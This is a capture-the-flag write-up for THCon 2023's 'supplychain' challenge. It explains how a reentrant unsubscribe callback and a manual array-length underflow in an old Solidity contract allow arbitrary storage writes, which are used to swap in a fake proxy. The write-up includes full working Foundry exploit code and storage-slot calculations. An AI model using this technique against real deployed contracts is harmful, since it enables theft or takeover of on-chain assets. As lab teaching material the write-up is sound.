THCon 2023 “supplychain” writeup

This is a writeup from the “supplychain” challenge of the CTF for THCon 2023, made by Dridri.

The challenge

We are given the following solidity code:

pragma solidity ^0.5.16;

interface myProxy {
    function updateCtf(bool status, string calldata _globalMessage) external;
    function thc(uint _wad, string calldata _elmnt, bytes32 _elmnt2) external returns (bool);
    function isLocked() external view returns(bool);
    function getMsg() external view returns(string memory);
}

interface player {
    function notify(address fromPlayer) external;
    function unsubscribe() external;
}

contract thcProxy {

    address private owner;
    address public lastAddressActive;
    myProxy public proxy;

    //storing players partipating in ctf
    player[] public players;

    //one confidential message slot per player
    bytes20[] public messages;

    constructor() public {
        owner = msg.sender;
        players = new player[](0);
        messages = new bytes16[](0);
    }

    modifier onlyProxy() {
        require(msg.sender == address(proxy));
        _;
    }

    // proxied functions ----
    function thc(uint wad, string calldata elmnt, bytes32 elmnt2) external returns (bool) {
        bool result = proxy.thc(wad, elmnt, elmnt2);
        if(lastAddressActive != msg.sender)lastAddressActive = msg.sender;
        return result;
    }

    function updateCtf(bool status, string calldata _globalMessage) external onlyProxy {
        proxy.updateCtf(status, _globalMessage);
        if(lastAddressActive != msg.sender)lastAddressActive = msg.sender;
    }
    // ----------------------

    function playerPlaying(address _add) public view returns (int){
        uint i = 0;
        int returnSlot = -1;
        bool ok = false;
        while(!ok){
            if(i == players.length){
                ok = true;
            }
            else if(address(players[i]) == _add){
                ok = true;
                returnSlot = int(i);

            }
            else {
                i++;
            }
        }
        return returnSlot;
    }

    // proxy related functions -------
    function newPlayer() public {
        //player must not be in the list
        require(playerPlaying(msg.sender) == -1);
        //add player to the list
        players.push(player(msg.sender));
        messages.push(bytes16(0));
        if(lastAddressActive != msg.sender)lastAddressActive = msg.sender;
    }

    function removePlayer(uint playercurrentlocation) public {
        //player must be in the list (use playercurrentlocation for gas saving. Avoid to lookup for entire array)
        require(msg.sender == address(players[playercurrentlocation]), "RemovePlayer - Player is not playing");

        //move the player away
        players[uint(playercurrentlocation)] = players[players.length - 1];
        //we notify the player that he will be unsubscribed
        player(msg.sender).unsubscribe();
        //remove current player
        players.length--;
        messages.length--;
        if(lastAddressActive != msg.sender)lastAddressActive = msg.sender;
    }

    function sendMessageTo(uint _to, bytes20 message, uint playercurrentlocation) public {
        //player must be in the list (use playercurrentlocation for gas saving. Avoid to lookup for entire array)
        require(msg.sender == address(players[playercurrentlocation]), "SendMessage - Player is not playing");
        //store message in bytes20 format
        messages[_to] = message;
        if(lastAddressActive != msg.sender)lastAddressActive = msg.sender;
    }

    // -----------------------------


    // proxied storage

    function isLocked() public view returns (bool) {
        return proxy.isLocked();
    }

    function getMsg() public view returns (string memory) {
        return proxy.getMsg();
    }

}

And get a single-use contract deployed for our team on some private network.

The goal is to have isLocked() return false.

Analysis

At first I was a bit confused about this proxy contract that seems very important but seems completely external, and also the player interface that is called by the contract…

However it’s easy to notice how it’s using an old Solidity version (overflows?) but also manipulating solidity array length by hand, which could lead to array underflows!

The idea is that at the base storage slot of an array you have the array length alone. The actual array content starts at slot keccak(base_slot) and takes as many slots as the length. If you are able to have the array length be uint(-1) then the array has an infinite length and you can write anywhere in memory, because the bounds check will always pass.

I figured that by calling newPlayer() then removePlayer(0) twice I would end up with an array of infinite size, but also lastAddressActive would be msg.sender.

Then I can call sendMessageTo which allows me to set a slot anywhere I want. I only need to pass a correct playercurrentlocation so that players[playercurrentlocation] would point to lastAddressActive which is my address (I’m sure this is the only reason why lastAddressActive was added to this contract).

The previous step would allow me to write to the proxy slot: I can point to a contract I created, that would contain a proxy that would always return true to isLocked.

Implementation

Now, this all sounds doable but it would be a pain to test and debug, so I decided to use Foundry. I put the code above in a supplychain.sol file, and wrote a test:

pragma solidity ^0.5;

import "../src/supplychain.sol";

contract FakeProxy {
    function isLocked() public view returns (bool) {
        return false;
    }
}

contract SupplychainTest {
    thcProxy public supplychain;
    bool public attacked;

    constructor() external {
        supplychain = thcProxy("");
    }

    function testHack() public {
        supplychain.newPlayer();
        supplychain.removePlayer(0);
        supplychain.removePlayer(0);

        FakeProxy p = new FakeProxy();

        uint256 messages_base = 62514009886607029107290561805838585334079798074568712924583230797734656856475;  // keccak(uint256(4))
        uint256 players_base = 87903029871075914254377627908054574944891091886930582284385770809450030037083;  // keccak(uint256(3))
        uint256 proxy_slot = 2;
        uint256 address_slot = 1;

        supplychain.sendMessageTo(proxy_slot - messages_base, bytes20(address(p)), address_slot - players_base);

        require(!supplychain.isLocked());
}

This didn’t work. Using the Foundry debugger I was able to see it crash on the players[players.length - 1] access of the second removePlayer call: here the array still has a length of zero, and we are accessing the index uint(-1) which is bigger, so it crashes.

However the solution was pretty obvious: this player(msg.sender).unsubscribe(); in the middle of removePlayer() always looked strange.

Now, we can use this to do a classic reentrancy attack: this is a callback to our own contract, so we can call removePlayer recursively, before the length is decremented:

pragma solidity ^0.5;

import "../src/supplychain.sol";

contract FakeProxy {
    function isLocked() public view returns (bool) {
        return false;
    }
}

contract SupplychainTest {
    thcProxy public supplychain;
    bool public attacked;

    constructor() external {
        supplychain = thcProxy("");
    }

    function unsubscribe() external {
        if(!attacked) {
            attacked = true;
            supplychain.removePlayer(0);
        }
    }

    function testHack() public {
        supplychain.newPlayer();
        supplychain.removePlayer(0);

        FakeProxy p = new FakeProxy();

        uint256 messages_base = 62514009886607029107290561805838585334079798074568712924583230797734656856475;  // keccak(uint256(4))
        uint256 players_base = 87903029871075914254377627908054574944891091886930582284385770809450030037083;  // keccak(uint256(3))
        uint256 proxy_slot = 2;
        uint256 address_slot = 1;

        supplychain.sendMessageTo(proxy_slot - messages_base, bytes20(address(p)), address_slot - players_base);

        require(!supplychain.isLocked());
    }
}

And this works perfectly, I was able to deploy the contract (pointing to the correct thcProxy), and run it.

This was a pretty fun challenge overall, I like how it combines array underflow with reentrancy.